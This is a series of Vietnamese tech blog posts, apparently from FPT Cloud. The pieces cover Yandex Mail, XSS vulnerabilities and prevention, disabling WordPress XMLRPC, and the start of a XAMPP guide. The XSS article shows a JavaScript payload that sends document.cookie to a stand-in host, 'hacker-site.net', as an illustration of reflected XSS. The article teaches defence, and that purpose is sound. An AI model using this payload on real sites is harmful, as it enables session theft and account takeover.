dung lượng trên Yandex.Disk. Bạn có thể tiến hành đồng bộ hóa, dùng các ứng dụng trên di động. Ngoài ra, khi biết Yandex là gì, bạn thấy khả năng cung cấp trình xem tài liệu đối với tệp đính kèm nhận được. Chẳng hạn như hiển thị tài liệu định dạng Microsoft Office, PDF trong trình duyệt. Khi chọn một file đính kèm bất kỳ, công cụ sẽ mở hẳn một cửa sổ mới. Muốn lưu trữ tệp vào Cloud, bạn chỉ cần nhấn chọn Save to Yandex.Disk. So sánh dịch vụ Zoho Mail và Yandex Mail Không khó để so sánh hai đối tượng nếu như bạn đã hiểu Yandex là gì từ những phần trên. Tại đây sẽ cùng đề cập đến những điểm mạnh và yếu của các loại này. Tuy nhiên, trước tiên bạn cần hiểu cơ bản về Zoho. [caption id="attachment_29366" align="aligncenter" width="800"] Cả Zoho và Yandex đều có ưu, nhược điểm nhất định[/caption] Zoho Mail là giải pháp Email chi phí thấp. Công cụ dễ dàng cấu hình và tích hợp tốt trên nhiều ứng dụng. Các tính năng đã phát triển tương tự như Yahoo và Gmail. Tại phiên bản miễn phí, Zoho có thể dùng được cho 5 User, 1 Domain, 25MB File đính kèm với chất lượng khá tốt. Người sử dụng hoàn toàn có thể đồng bộ dữ liệu trên cùng hệ thống như Zoho Storage, Zoho Docs. ✅Phân tích đặc điểm Giải thích ✅Ưu điểm của Zoho và Yandex là gì? Dựa trên toàn bộ phân tích ở trên, bạn chắc chắn đã tóm lược được ưu điểm của Yandex là gì. Công cụ cung cấp quyền truy cập POP và IMAP. Đồng thời, khả năng hỗ trợ các kết nối TLS/SSL được đánh giá cao.Việc tích hợp bộ lọc cho phép loại bỏ thư rác, Virus, nội dung có dấu hiệu lừa đảo,… Một điều khác chắc chắn không thể bỏ qua khi tìm hiểu Yandex là gì? Đó là bạn gửi đi tệp lớn, không cần đính kèm vào thư nhờ Yandex Disk.Về phần Zoho, công cụ tích hợp dễ dàng với các ứng dụng khác như Zoho Docs, Zoho Storage,… Bạn được phép dùng logo và Email riêng, hỗ trợ chống Spam, Virus, xác nhận đăng nhập qua Email, SMS. ✅Điểm hạn chế của Zoho và Yandex Xét một cách khách quan, điểm hạn chế của Zoho và Yandex là gì? Tại Việt Nam, Yandex có số lượng khá khiêm tốn so với Google. Vì thế, sự hỗ trợ từ cộng đồng không được đa dạng.Trong khi đó, điểm yếu của Zoho xuất hiện khi bạn dùng tài khoản miễn phí. Người dùng không được hỗ trợ IMAP và POP. Để khắc phục, bạn cần mua gói tính phí. Nhìn chung, mỗi loại đều có những mặt trái chiều khác nhau. Điểm mấu chốt là nên đưa ra lựa chọn dựa trên mục đích sử dụng. Trên đây là điều cần biết với những ai đang tìm công cụ thay thế cho Gmail. Những ưu điểm đến từ Yandex là không thể phủ nhận. Người dùng được trao đổi thông tin trong môi trường an toàn, khả năng hỗ trợ tệp đính kèm lớn. Vì thế, FPT Cloud tin rằng dành thời gian tìm hiểu Yandex là gì hoàn toàn không lãng phí thời gian. Liên hệ với chúng tôi để biết thêm thông tin chi tiết về dịch vụ của FPT Smart Cloud Website: https://fptcloud.com/ Fanpage: https://www.facebook.com/fptsmartcloud Email: [email protected] Hotline: 1900 638 399  

XSS là gì? Tầm nguy hiểm và cách khắc phục lỗ hổng XSS

17:14 09/03/2022
XSS luôn được xem là nỗi đau đầu đối với dân IT hiện nay khi nhắc đến vấn đề lỗ hổng bảo mật. Vậy bạn đã hiểu rõ được cụ thể XSS là gì hay chưa? Làm sao để có thể bảo vệ hệ thống dữ liệu trước sự tấn công của XSS? Để có đáp án cho câu hỏi này bạn hãy cùng FPTCloud để tìm đáp án cụ thể. Lỗ hổng XSS là gì?  XSS là gì? Thực tế đây là từ được viết tắt từ cụm tiếng Anh Cross Site Scripting. Bản chất đây là một trong các loại tấn công bảo mật phổ biến và thường xuyên xảy ra nhất ở hệ thống web mà hầu hết các tester có kinh nghiệm đều biết đến.  [caption id="attachment_22248" align="aligncenter" width="771"] Tìm hiểu lỗ hổng XSS là gì[/caption] XSS được đánh giá là một trong những loại tấn công bảo mật khá nguy hiểm đối với các ứng dụng web. Thậm chí nó còn được xem là có thể gây ra những hậu quả cực kỳ nghiêm trọng đối với hệ thống dữ liệu thông tin.  Hiểu một cách đơn giản hơn thì XSS là một đoạn mã độc mà Hacker chèn vào hệ thống. Cách thức  mà Hacker sử dụng là thông qua các đoạn Script và thực thi ăn cắp thông tin ở phía Client. Trong đó hầu hết các cuộc tấn công được sử dụng để vượt qua các truy cập, mạo danh người dùng để lấy cắp thông tin. Mục đích chính của quá trình tấn công chính là đánh cắp dữ liệu nhận dạng của người dùng. Bao gồm như Cookies, Session Tokens cùng các thông tin liên quan khác. Ở hầu hết các trường hợp tấn công này chủ yếu được sử dụng để ăn cắp Cookie của người khác. Mà như các bạn cũng biết Cookies giúp cho người dùng đăng nhập tự động. Do đó nếu như cookies bị đánh cắp đồng nghĩa với việc các hacker cũng có thể đăng nhập bằng thông tin nhận dạng khác vào hệ thống dư liệu. Chính vì thế đây được xem là cuộc tấn công nguy hiểm nhất ở những lỗ hổng hệ thống hiện nay. Các cuộc tấn công XSS diễn ra như thế nào? Tấn công XSS hiện nay đang được thực hiện ở phía Client. Kiểu tấn công này hoàn toàn có thể thực hiện với hầu hết các ngôn ngữ lập trình khác. Thế nhưng thường xuyên xảy ra nhất trong các cuộc tấn công vẫn là Javascript và HTML.Vậy cuộc tấn công diễn ra như thế nào? [caption id="attachment_22252" align="aligncenter" width="771"] Tìm hiểu cuộc tấn công XSS[/caption] Diễn biến cuộc tấn công Nhìn chung cách tấn công này thực tế có thể thực hiện thông qua nhiều cách khác nhau. Trong đó chủ yếu phụ thuộc vào các loại tấn công XSS. Những mã độc có thể phản chiếu ở các trình duyệt hệ thống hoặc là lưu trữ trong cơ sở dữ liệu. Mã đọc này sẽ  được vận hành một khi người dùng gọi chức năng thích hợp.  Nguyên nhân chính của tấn công này là xác thực đầu vào dữ liệu người dùng không phù hợp. Dữ liệu độc hại ở đầu vào có thể xâm lấn vào dữ liệu đầu ra. Mã độc có thể nhập một Script sau đó chèn vào mã nguồn website. Khi đó, trình duyệt của người dùng sẽ khó để biết mã thực thi có độc hay không. Vậy nên mã độc hại trong cuộc tấn công XSS có thể đang được thực thi trên trình duyệt nạn nhân hoặc thông qua bất cứ hình thức giả nào đang được hiển thị mà mọi người không biết. Các hình thức tấn công cơ bản Hiện nay trên thực tế có rất nhiều hình thức tấn công XSS có thể xuất hiện để đánh cắp thông tin, dữ liệu. Trong đó bạn có thể tham khảo một số hình thức phổ biến nhất của XSS như sau: Cuộc tấn công có thể xảy ra ở trên các lệnh độc hại đã được thực hiện ở Client Những trang web hay form giả mạo hiển thị cho người dùng. Cụ thể là những nơi mà người dùng nhập thông tin để đăng nhập hoặc là nhấp vào các liên kết đọc hại không rõ.  Quảng cáo được hiển thị ở các trang web mà mọi người truy cập vào.  Những email chứa thành phần độc hại gửi đến cho người dùng. Các cuộc tấn công XSS sẽ xảy ra một khi tin tặc tìm kiếm những lỗ hổng có Websie và gửi nó làm đầu vào độc hại Lúc này các tập lệnh độc hại sẽ tiêm vào mã lệnh và gửi đi dưới dạng đầu ra cho các đối tượng người dùng cuối cùng.  … [caption id="attachment_22256" align="aligncenter" width="771"] Tấn công XSS hiện nay cũng có độ phổ biến không nhỏ[/caption] Ví dụ cụ thể Bạn có thể tìm hiểu chi tiết qua ví dụ phân tích cụ thể. Ví dụ chúng ta có 1 trang web với trường Search. Nếu trường Search là trường có lỗ hổng vậy thì khi người dùng nhập bất kỳ một đoạn Script thì có sẽ được thực thi.  Ví dụ như người dùng nhập đoạn Script đơn giản như hình đây. Một khi nhấn nút “Search” Script được nhập sẽ được thực hiện.  [caption id="attachment_22260" align="aligncenter" width="771"] Hình minh họa[/caption] Như bạn có thể thấy trong ví dụ, Script đã nhập vào trường Search được thực thi. Điều này cho thấy lỗ hổng trong cuộc tấn công XSS. Thế nhưng một tập lệnh có hại hơn cũng được nhập. Nhiều Tester kết hợp tấn công Cross Site Scripting Javascrip Injection cũng được thực hiện ở Client. Trong cả 2, những Script tấn công độc hại sẽ được tiêm vào. Song trường hợp tấn công XSS các thẻ script không cần thiết để thực thi script. >>> Có thể bạn quan tâm: Mã hóa là gì? Vai trò và Các loại mã hóa phổ biến nhất 3 Xu hướng tấn công XSS thường gặp Như cũng đã nói trên cách tấn công của XSS phụ thuộc vào các loại tấn công cụ thể. Và theo như phân tích hiện nay XSS thực tế gồm 3 loại tấn công phổ biến. Vậy các loại tấn công XSS là gì? Chi tiết đã được phân tích như sau: Tấn công Reflected XSS Một thực tế cho thấy có rất nhiều hướng khác nhau để khai thác thông tin, dữ liệu thông qua lỗi Reflected XSS.  Đây cũng là một trong số các cách được sử dụng phổ biến để chiếm phiên việc làm (Session) của người dùng. Thông qua đây các Hacker có thể truy cập được vào dữ liệu dễ dàng để chiếm quyền của người dùng trên các website. Chi tiết quá trình như sau: Người dùng sẽ đăng nhập vào trang web. Giả sử trang web được gán session như sau “Set-Cookie:sesld=5e2c648fa5ef8d653adeede585dcde6f638639e4e59d4” Bằng một cách nào đó, gửi đến cho người dùng một Url nhất định. Trong đó Url chứa tên website mà nạn nhân truy cập và phía sau kèm theo trang của hacker tạo ra với tên gọi là hacker-site.net. Ví dụ như https://abcd.com/……….=”http://hacker-site.net/ Một khi người dùng nhập vào url được gửi, server hệ thống sẽ ngay lập tức phản hồi cho người dùng kèm theo những dữ liệu có trong đoạn Javascript của hacker. Lúc này trình duyệt của nạn nhân bắt đầu phản hồi và thực thi đoạn Javascript. Đoạn  Javascript được hacker tạo ra đa phân sẽ có dạng như sau: var i =new Image;i.src=”http://hacker-site.net/” +document.cookie; Các dòng lệnh trên thực tế thực hiện request đến site hacker với tham số cookie người dùng.  Cùng ở phía site của mình Hacker sẽ nắm bắt được những nội dung cụ thể mà bản thân request được ở trên. Vậy là xem như các session của người dùng đã bị chiếm đóng. Lúc này các hacker hoàn toàn có thể giả mạo tư cách người dùng để thực hiện quyền truy cập vào website mà người dùng đang có. [caption id="attachment_22264" align="aligncenter" width="771"] Quy trình tấn công của Reflected XSS[/caption] Tấn công Stored XSS Không giống như cuộc tấn công Reflected XSS thực hiện công cuộc tấn công trực tiếp tới hệ thống của một người dùng mà hacker đã nhắn đến. Stored XSS là loại tấn công sẽ thực hiện trấn áp đến nhiều hệ thống người dùng. Lỗi này không hết sẽ xảy ra  ở trường hợp ứng dụng web không được thực hiện kiểm tra kỹ lưỡng những dữ liệu đầu vào trước khi lưu vào cơ sở dữ liệu. Ví dụ như đối với những form góp ý hay các comment,.... xuất hiện trên website.  Diễn biến cuộc tấn công Đối với loại tấn công Stored các hacker thực tế không thể khai thác trực tiếp mà phải tuân thủ tối thiểu qua 2 bước như sau:  Đầu tiên Hacker thông qua các điểm đầu vào như form, input, textarea,... không được thực hiện kiểm tra kỹ lưỡng để chèn vào các đoạn mã nguy hiểm.  [caption id="attachment_22268" align="aligncenter" width="771"] Chèn mã độc nguy hiểm[/caption] Sau đó người dùng thực hiện lệnh truy cập vào các ứng dụng web. Một khi người dùng tiến hành những thao tác có liên quan đến dữ liệu được lưu này thì các đoạn mã của Hacker sẽ được thực thi. Quá trình thực thi sẽ được thực hiện trên trình duyệt của người dùng đang sử dụng.   [caption id="attachment_22272" align="aligncenter" width="771"] Kịch bản khai thác[/caption] So với Reflected XSS thì Stored XSS được đánh giá là nguy hiểm hơn rất nhiều. Đối tượng bị ảnh hưởng có thể là tất cả những người sử dụng ứng dụng web đó. Trong trường hợp nếu nạn nhân là quản trị viên thì còn có nguy cơ bị chiếm quyền vận hành web Sự khác biệt của loại tấn công Stored XSS và Reflected XSS Đối với hai loại tấn công này thực tế có 2 sự khác biệt lớn trong quá trình thực hiện tấn công xâm nhập dữ liệu.  Chi tiết như sau: Các hacker để khai thác được Reflected XSS Thì phải lừa được người dùng truy cập vào đường dẫn mà mình đã gửi.  Còn đối với Stored XSS không cần phải mất thời gian thao tác đó mà sau khi đã chèn được mã độc hại vào cơ sở dữ liệu ứng dụng hacker chỉ cần đời người dùng tự động truy cập. Đối với người dùng thì đây là việc hết sức bình thường bởi vì họ thực tế không biết việc dữ liệu của mình đã bị nhiễm mã độc.  Hầu hết mục tiêu chính của hacker là làm cách nào để lấy được các dữ liệu thông tin. Trong đó mục tiêu này sẽ dễ dàng hơn nếu ở thời điểm tấn công người dùng trong quá trình làm việc của ứng dụng website. Đối với Reflected XSS thì hacker có thể thuyết phục, lừa người dùng đăng nhập rồi truy cập vào đường dẫn đã cung cấp. Tuy nhiên với Stored XSS thì khác. Bởi vì độc hại đã được lưu ở trong cơ sở dữ liệu website nên bất kỳ khi nào người dùng truy cập đều sẽ làm cho mã độc thực thi. Đồng thời có khả năng yêu cầu người dùng xác nhận trước khi đăng nhập. nhập Tấn công DOM Based XSS Một loại hình tấn công tới cơ sở dữ liệu có phổ biến không kém đó chính là DOM Based XSS. Vậy bản chất DOM Based XSS là gì? Đây được xem là kỹ thuật khai thác XSS dựa vào cơ sở thay đổi những cấu trúc DOM của tài liệu. Cụ thể chính là HTML.  Giả sử như một website có đường dẫn đăng ký và khi truy cập vào  sẽ thấy một form bình thường. Lúc này người dùng sẽ không có chút nghi ngờ gì mà lựa chọn điền các thông tin như được yêu cầu. Thế nhưng Script sẽ  ngay lập tức thực thi vào cơ sở dữ liệu, thông tin hệ thống đã bị hack. Chỉ cần mẹo đơn giản là áp dụng DOM Based XSS các hacker đã có thể nhanh chóng xâm nhập vào hệ thống để chiếm đoạt  thông tin mà họ cần.  Vậy nên DOM Based XSS cũng được xếp vào dạng hình thức tấn công vô cùng nguy hiểm hiện nay. Chi tiết hơn bạn có thể tham khảo qua kịch bản tấn công được mô phỏng theo hình dưới đây. [caption id="attachment_22276" align="aligncenter" width="771"] Kịch bản tấn công Dom Based XSS[/caption] Cách kiểm tra và ngăn chặn các đợt tấn công XSS XSS thường xuyên tấn công người dùng dưới dạng âm thầm mà không hề hay biết. Thế nhưng bạn hoàn toàn có thể áp dụng các cách kiểm tra cụ thể hoặc sử dụng chiến thuật ngăn chặn các đợt tấn công. Vậy bạn còn chờ gì mà không nhanh tay ghi chép ngay cho mình các thông tin thiết yếu sau đây: Cách phát hiện Để có thể biết liệu các hacker có tấn công XSS vào hệ thống cơ sở dữ liệu hay không bạn hãy áp dụng cách kiểm tra thử hộp đen trước. Với cách này bạn có thể hiểu là chúng ta sẽ thực hiện test mà không cần xem xét đến code. Tất nhiên việc kiểm tra code luôn được các chuyên gia khuyến khích vì nó mang đến kết quả khả quan và đáng tin cậy hơn. Trong quá trình kiểm tra thử, các tester  nên nên xem xét những phần nào của website có nguy cơ bị tấn công bởi XSS. Bạn cũng nên liệt kê toàn bộ những nghi ngờ đó thành một tài liệu kiểm thử để giảm thiểu tình trạng bị thiếu sót. Sau đó, các tester hãy lập một bảng kế hoạch để xác định liệu Script nào thực sự cần thực hiện kiểm tra nhất. Trong đó điều quan trọng là kết quả liệu có ý nghĩa gì, ứng dụng ấy dễ bị lỗ hổng hay không và cần được phân tích kết quả sao cho kỹ càng nhất.  [caption id="attachment_22280" align="aligncenter" width="771"] Bạn hoàn toàn có thể phát hiện lỗ hổng tấn công XSS[/caption] Trong khi thực hiện kiểm tra thử nghiệm các cuộc tấn công bạn cần lưu ý kiểm tra xem nó đáp ứng như thế nào đối với những kịch bạn đã nhập? Liệu các kịch bản ấy có đang được thực thi không?  Cách ngăn chặn Có thể nhận định rằng XSS được xem là một dạng tấn công cơ sở dữ liệu khá nguy hiểm với nhiều rủi ro tiềm ẩn xảy ra nhất. Thế nhưng người dùng vẫn nên lập cho mình một kế hoạch cụ thể để ngăn ngừa tình trạng này xảy ra. Và thật may với độ phổ biến của các cuộc tấn công hiện đã có khá nhiều cách để ngăn chặn. Trong đó điển hình như Data Validation, Filtering, Escaping. Chi tiết như sau: Xác thực đầu vào  Đặc biệt công tác phòng chống tấn công đầu tiên bạn cần thực hiện đó là xác thực đầu vào. tất cả những gì được nhập bởi người dùng phải được xác minh chính xác. Bởi vì đầu vào sẽ tác động trực tiếp đến đầu ra. Việc xác thực này có thể được đặt tên làm cơ sở dữ liệu đồng thời đảm bảo về tính bảo mật của hệ thống dữ liệu đó. Tuy nhiên bạn nên lưu ý việc này cũng chỉ góp phần làm giảm thiểu được những rủi ro chứ không thể ngăn chặn triệt để các lỗ hổng mà sự tấn công XSS gây ra. [caption id="attachment_22284" align="aligncenter" width="771"] Nhằm giảm thiểu công cuộc tấn công bạn hãy xác thực đầu vào[/caption] Lọc đầu vào Một cách nữa bạn cũng có thể áp dụng để ngăn chặn quá trình tấn công XSS là lọc đầu vào của người dùng. Cách này bạn có thể hiểu là thực hiện tìm kiếm những từ khóa nguy hiểm ở mục nhập của người dùng. Sau đó bạn đem xóa chúng hoặc thực hiện các thao tác thay thế bằng chuỗi trống.  Các từ đó có thể sẽ là những thẻ như script hay lệnh javascript, đánh dấu HTML,... Việc lọc đầu vào của người dùng này thực tế cũng dễ thực hiện. Bạn hoàn toàn có thể áp dụng khoa nhiều cách khác nhau như:  Thực hiện bởi Developer đã viết mã phía server  Thông qua hệ thống thư viện ngôn ngữ lập trình thích hợp mà người dùng đang sử dụng. Trường hợp này nhìn chung một số Developer có thể viết mãi riêng của họ để tìm kiếm những từ khóa thích hợp và xóa chúng. Thế nhưng cách dễ dàng hơn mà các chuyên gia gợi ý là chọn thư viện ngôn ngữ lập trình thích hợp để lọc đầu vào. Đây được xem là cách đáng tin cậy vì các thư viện đó thực tế đã được nhiều nhà phát triển áp dụng và thử nghiệm. Sử dụng các ký tự Escape  Ngoài ra để phòng ngừa quá trình tấn công của XSS bạn cũng có thể áp dụng các ký tự Escape. Và trong thực tế hiện nay thì đa phần những ký tự này đang được thay đổi bằng các mã đặc biệt. Ví dụ ký tự Escape giống như & # 60. Điều quan trọng là bạn làm sao để tìm kiếm các thư viện thích hợp với ký tự Escape.  [caption id="attachment_22288" align="aligncenter" width="771"] Bạn cung có thể áp dụng cách sử dụng ký tự Escape[/caption] >>> Có thể bạn quan tâm: Svchost là gì? Cách xử lý Svchost giúp máy tính chạy mượt Mức độ nguy hiểm của XSS với Javascript Nhìn chung lỗ hổng bảo mật XSS được xem là ít nguy hiểm hơn so với lỗ hổng SQL Injection. Hậu quả của khả năng thực thi Javascript trên một nền tảng web ban đầu bạn nghĩ có vẻ không nghiêm trọng. Bởi vì hầu hết trình duyệt chạy Javascript trong môi trường được kiểm soát bảo mật chặt chẽ. Javascript bị giới hạn quyền truy cập tới hệ điều hành người dùng cùng các file dữ liệu người dùng. Mặc dù vậy nhưng Javascript vẫn có thể cực kỳ nguy hiểm nếu như nó bị lạm dụng trở thành các đoạn mã độc hại. Cụ thể như: Javascript độc hại có thể truy cập đến các đối tượng là phần còn lại của trang web có thể truy cập tới. Bao gồm cả việc truy cập tới Cookie người dùng. Nếu kẻ tấn công có được Session người dùng, họ có thể giả mạo danh tính người dùng thực sự. Sau đó họ thực hiện các hành động như xâm phạm dữ liệu nhạy cảm người dùng trên website đó. Javascript có thể đọc DOM và tạo ra các chỉnh sửa tùy ý.  Javascript có thể sử dụng Object XMLHttRequest gửi truy vấn HTTP cùng các nội dung tùy ý tới các điểm đích. Javascript trong trình duyệt hiện đại có thể sử dụng HTML5 APIs. Điển hình như nó có thể truy cập đến vị trí của người dùng, webcam, microphone thậm chí là các file dữ liệu cụ thể ở hệ điều hành của người dùng. Hệ thống API đều yêu cầu cấp quyền truy cập từ người dùng nhưng những kẻ tấn công có thể dùng thêm các phương án như Social Engineering để tiến xa hơn.  XSS có phải vấn đề người dùng cần quan tâm? Nếu một kẻ tấn công lạm dụng lỗ hổng XSS trên bất kỳ trang web nào để thực thi mã Javascript tùy ý ở trình duyệt người dùng thì ứng dụng đó và người dùng đều bị xâm hại. XSS không phải là vấn đề của người dùng tương tự như những lỗ hổng bảo mật khác. Nếu nó tác động đến người dùng của bạn thì nó ảnh hưởng tới bạn.  [caption id="attachment_22292" align="aligncenter" width="771"] XSS thực tế rất nguy hiểm[/caption] Cross-site Scripting cũng được sử dụng để deface website thay vì nhắm đến mục tiêu người dùng. Kẻ tấn công dùng những đoạn mã injection để thay đổi nội dung của trang web hoặc thậm chí chuyển hướng trình duyệt người dùng tới một website khác.  Trên đây là thông tin chi tiết giúp bạn giải đáp thắc mắc những vấn đề xung quanh về XSS. Hy vọng rằng qua đó bạn sẽ hiểu và áp dụng một cách hiểu quả những kiến thức gợi ý vào công việc trong thực tế để ngăn chặn sự tấn công từ XSS.   Liên hệ với chúng tôi để biết thêm thông tin chi tiết về dịch vụ của FPT Smart Cloud Website: https://fptcloud.com/ Fanpage: https://www.facebook.com/fptsmartcloud Email: [email protected] Hotline: 1900 638 399

XMLRPC là gì? Ứng dụng & cách vô hiệu hóa XMLRPC khi cần

09:17 28/07/2022
XMLRPC được biết đến là một tính năng quan trọng trong truyền tải dữ liệu WordPress. Bạn sẽ hiểu rõ hơn về những ứng dụng thực tế như thế nào qua bài viết dưới đây. Dựa trên cơ sở này, kiến thức mở rộng sang hướng dẫn cách kích hoạt giao thức XML-RPC. Chưa dừng lại ở đó, bạn sẽ có góc nhìn tổng quan khi nhận thấy những nhược điểm cùng cách khắc phục. XMLRPC là gì? XML-RPC là gì? Đây là giao thức được sử dụng trên Web Server, dùng XML để mã hóa và trao đổi dữ liệu. Ngoài ra, mục đích thiết lập để hỗ trợ các API của CMS như: [caption id="attachment_29334" align="aligncenter" width="800"] XML-RPC được sử dụng như một hình thức hỗ trợ truyền tải dữ liệu, thông tin WordPress[/caption] XML-RPC được sử dụng như một hình thức hỗ trợ truyền tải dữ liệu, thông tin WordPress WordPress API. Blogger API. Movable API. Pingback API. MetaWeblog API… Như bạn đã biết, WordPress không phải là một hệ thống đóng hoàn toàn. Tính năng XMLRPC được tạo ra để WordPress giao tiếp với nền tảng bên ngoài. Giả sử, bạn muốn chỉnh sửa hoặc đăng tải bài viết. Trong khi đó, thao tác thực hiện là trên điện thoại chứ không phải bằng máy tính. Khi đó, giao thức sẽ kích hoạt trạng thái liên kết giữa hai thiết bị này. Nhờ đó, người dùng có thể thực hiện chỉnh sửa linh hoạt, dễ dàng. >>> Có thể bạn quan tâm: Webmail là gì? Tìm hiểu chức năng và hướng dẫn sử dụng Webmail Tại sao XML-RPC trở nên thông dụng? Nhiều năm về trước, XML-RPC là hệ thống được sử dụng tương đối phổ biến. Thành quả này có được nhờ những tính năng đặc biệt mang lại. Trong số đó, nổi bật nhất chính là khả năng truy cập, chỉnh sửa nội dung WordPress. [caption id="attachment_29337" align="aligncenter" width="800"] Nhiều năm trước, công cụ đã từng phủ sóng với mức độ chưa từng có[/caption] Bạn có thể thực hiện thao tác trên trong khi không cần kết nối Internet. Điều này là rất hữu dụng khi đường truyền mạng chưa phổ biến và mạnh như bây giờ. Việc truy cập không mượt hay mất nhiều thời gian không còn là nỗi lo vì đã có XMLRPC. Cụ thể, tính năng này tạo ra một trang web offline, kết nối với Site chính. Người dùng có thể chỉnh sửa và đăng tải nội dung. Sau đó, việc cần làm chỉ là kích hoạt XMLRPC.PHP. Ngay lập tức, thông tin của bạn sẽ xuất hiện trên trang web. Tuy nhiên, vị thế này đã phần nào suy giảm khi có sự ra đời của những ứng dụng. Mọi người dễ dàng đến web bằng điện thoại di động. XML-RPC đã không còn giữ vững vị trí độc tôn và giảm mức độ phổ biến. Thế nhưng, điều này không đồng nghĩa với việc giao thức mất giá trị hoàn toàn. Ứng dụng của giao thức XML-RPC là gì? Khi làm việc với WordPress, bạn sẽ thấy XML-RPC gồm 2 phần chính. Đó chính là XMLRPC server và XMLRPC client với đặc điểm như sau: XML-RPC server: Là Web Server, đóng vai trò nhận thông tin đã được mã hóa từ XML-RPC Client. XML-RPC Client: Là hệ thống sử dụng XML nhằm mã hóa tham số. Sau đó, nhiệm vụ là gửi nội dung XML đã xử lý vào Server. Các thành phần này có mối quan hệ ràng buộc chặt chẽ với nhau. Nhờ đó, luồng thông tin, dữ liệu mới được truyền tải đến đúng vị trí. Cách kích hoạt XMLRPC trên WordPress Không khó để bạn kích hoạt XMLRPC trên WordPress. Cách thực hiện bắt đầu từ việc cài đặt Plugin “Control XMLRPC publishing”. Sau đó, tại WordPress, bạn đi tới Settings ->Write -> Remote publishing with XMLRPC -> Enabled. Cuối cùng, bạn chỉ cần nhấn Save changes để hệ thống ghi nhận những sự thay đổi. Hạn chế của XMLRPC và cách khắc phục Hệ thống đã từng chứng minh được vai trò thiết yếu của mình trong quá khứ. Thế nhưng, để so sánh với công nghệ hiện đại ngày này, những nhược điểm là khó tránh khỏi. Nhược điểm Theo thời gian, giao thức ngày càng để lộ những điểm hạn chế. Điều dễ nhận thấy nhất chính là mức độ bảo mật kém. Hacker dễ dàng lợi dụng sơ hở này và tấn công vào trang web. [caption id="attachment_29339" align="aligncenter" width="800"] Nhược điểm là bảo mật kém nên rất dễ bị hacker tấn công web[/caption] Bằng việc sử dụng tệp xmlrpc.php, hệ thống tin tặc dùng nhiều cách khác nhau. Mục đích là để lấy được mật khẩu truy cập vào website. Thậm chí, với cách vận hành của hệ thống, quá trình tấn công DdoS xảy ra tương đối thường xuyên. Dấu hiệu nhận biết là các Site liên tục rơi vào tình trạng downtime. Để khắc phục tạm thời, nhiều người vô hiệu hóa chức năng này trên WordPress. Cách khắc phục Tính đến thời điểm hiện tại, WordPress API đang trong giai đoạn thử nghiệm. Hệ thống API này có chức năng tương tự như XML-RPC. Cách hình thành là thông qua việc code trực tiếp trong WordPress core. [caption id="attachment_29341" align="aligncenter" width="800"] Với công nghệ vượt trội hơn hẳn, API chính là giải pháp khắc phục[/caption] Đến khi hoàn thiện, API được dự đoán là sẽ thay thế hoàn toàn cho XMLRPC. Bởi lẽ, công cụ khắc phục được hạn chế to lớn là bảo mật kém. >>> Có thể bạn quan tâm: WampServer là gì? Cách cài đặt và sử dụng phần mềm giả lập WAMP Cách vô hiệu hóa XML-RPC Như bạn đã biết, nhiều người đã chọn cách vô hiệu hóa XML-RPC. Vậy cách thực hiện như thế nào là điều sẽ được hướng dẫn ngay sau đây. ✅Cách vô hiệu hóa Hướng dẫn cụ thể ✅Sử dụng Plugin - Nhìn chung, cách này rất đơn giản vì bạn chỉ cần tải, cài đặt và kích hoạt Plugin. Đầu tiên, hãy truy cập trang quản trị Admin rồi click vào mục Plugins.- Chọn Add New.- Tìm công cụ có tên “Disable XML-RPC”.- Tiến hành cài đặt.- Khi quá trình trên tự động hoàn tất, bạn nhấn “Active Now” để kích hoạt.- Plugin thực thi các lệnh code cần thiết để vô hiệu hóa XML-RPC.Tuy nhiên, điều cần lưu ý là có khả năng một số tính năng của Plugin khác xung đột với Disable XML-RPC. Nếu không cẩn trọng sẽ khiến trang web ngừng hoạt động. Để khắc phục, bạn nên tắt từng phần của XML-RPC đi. Công cụ hỗ trợ cần có là một trong hai loại sau:- Stop XML-RPC Attack: Có khả năng ngăn chặn mọi cuộc tấn công bằng XML-RPC.- Control XML-RPC Publishing: Cung cấp khả năng kiểm soát, điều khiển công cụ xuất bản từ xa thông qua thông qua xmlrpc.php. ✅Vô hiệu hóa bằng file .htaccess - Thông thường file này sẽ bị ẩn, dẫn đến việc khó tìm kiếm bằng cách thông thường. Bạn hãy sử dụng tính năng hỗ trợ “show hidden files” để có thể nhìn thấy.- Sau đó, điều cần làm là copy và dán đoạn code như sau:# Block WordPress xmlrpc.php requests<Files xmlrpc.php>order deny,allowdeny from all allow from 123.123.123.123 </Files> Trên đây là những điều bạn cần biết về một giải pháp truyền tải dữ liệu, đăng bài từ xa. Trong quá khứ, giao thức đã từng được đánh giá rất cao về khả năng hỗ trợ. Thế nhưng, công cụ lại đang tạo ra nhiều lỗ hổng bảo mật vì khó theo kịp công nghệ hiện đại ngày nay. Vì thế, FPT Cloud khuyên bạn nên cân nhắc kỹ lưỡng trước khi dùng XMLRPC và nên có phương án thay thế. Liên hệ với chúng tôi để biết thêm thông tin chi tiết về dịch vụ của FPT Smart Cloud Website: https://fptcloud.com/ Fanpage: https://www.facebook.com/fptsmartcloud Email: [email protected] Hotline: 1900 638 399  

Xampp là gì? Cách cài đặt & sử dụng phần mềm Xampp từ A – Z

11:12 04/01/2022
XAMPP được biết đến là một trong những phần mềm tạo môi trường giả lập server hosting được ưa chuộng, được sử dụng phổ biến rộng rãi trên toàn thế giới hiện nay. Bài viết này chúng ta sẽ cùng tìm hiểu các khái niệm liên quan đến XAMPP là gì cùng với cách để cài đặt và sử dụng XAMPP, để bạn dễ dàng sử dụng và trải nghiệm phần mềm này. Xampp là gì? Để tạo môi trường giả lập server hosting ngay trên chính máy tính của bạn, XAMPP ra đời để phục vụ mục đích này. Bên cạnh đó, bạn hoàn toàn có thể sử dụng phần mềm này để chạy demo website mà không cần mua VPS hay Hosting. XAMPP được tạo thành từ năm chữ cái X, A, M, P, P, được biết đến là sự tích hợp của 5 phần mềm. Vậy ý nghĩa của các chữ cái này là gì? [caption id="attachment_16634" align="alignnone" width="771"] XAMPP là gì?[/caption] XAMPP là gì? X - phần mềm Cross-Platform - là viết tắt của các hệ điều hành mà nó hoạt động, đó là Windows, Linux và Mac OS X. A - phần mềm Apache - đây là web server được biết đến là máy chủ được sử dụng rộng rãi trên khắp thế giới với mục đích phân phối nội dung web. Đây là ứng dụng được cung cấp miễn phí dưới dạng phần mềm miễn phí được phát hành bởi Apache Software Foundation. M - phần mềm MariaDB -  được biết đến là một trong những hệ quản trị cơ sở dữ liệu quan hệ phổ biến trên toàn cầu. Kết hợp các phần mềm khác có trong XAMPP để cung cấp khả năng lưu trữ dữ liệu cho các dịch vụ web. P - PHP - là ngôn ngữ lập trình từ phía máy chủ PHP, cho phép người sử dụng tạo trang web hay 